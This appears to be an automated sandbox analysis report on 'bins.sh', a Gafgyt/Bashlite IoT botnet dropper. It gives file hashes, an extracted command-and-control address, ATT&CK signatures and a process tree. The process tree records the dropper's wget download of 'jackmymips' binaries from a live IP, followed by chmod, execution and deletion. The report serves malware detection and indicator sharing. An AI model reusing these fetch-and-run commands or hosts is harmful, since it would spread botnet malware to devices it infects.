Analysis
-
max time kernel
134s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240729-en -
resource tags
-
submitted
27/02/2025, 00:23
General
-
Target
bins.sh
-
Size
1KB
-
MD5
ddd2066e9b68c51382870956a3c59979
-
SHA1
ce1c982d1e45284c841358935022612c1708822c
-
SHA256
0340ac49b3ffa9b62521f5d0ab751b8b1196e816d644317e7ae7a6166b08eb08
-
SHA512
62c1588cc5a05de7b0b6c960ae65e6c9949e15ba7310344e90dc43cfd0fe2a277796bd167fc0eb8ddb0853c2ef556bb6bd648f672491249ccc26c85967e2182b
Malware Config
Extracted
gafgyt
162.0.214.70:1111
Signatures
-
Detected Gafgyt variant 1 IoCs
-
Gafgyt family
-
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 1 IoCs
-
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://165.154.224.116/jackmymips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod +x jackmymips2⤵
- File and Directory Permissions Modification
-
-
/tmp/jackmymips./jackmymips2⤵
- System Network Configuration Discovery
-
-
/bin/rmrm -rf jackmymips2⤵
- System Network Configuration Discovery
-
-
/usr/bin/wgetwget http://165.154.224.116/jackmymipsel2⤵
- System Network Configuration Discovery
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
171KB
MD5cfd64d9315ad7c51f839047d1664476c
SHA1a164720ee885b14d9dbb1207fb45d0b0fdc2243f
SHA2563190f29d355a28b7edee22e65f44bcfba988b9f54771ba34b2d13515164a927d
SHA512992658bc1e29606cf5c7ceebe1ad6b6cd7e87050712a743330d4a1192d25658d185bc0a62983939c0e86ad1ca5600ad0e77a7051917936d5cff4188868fbf5e5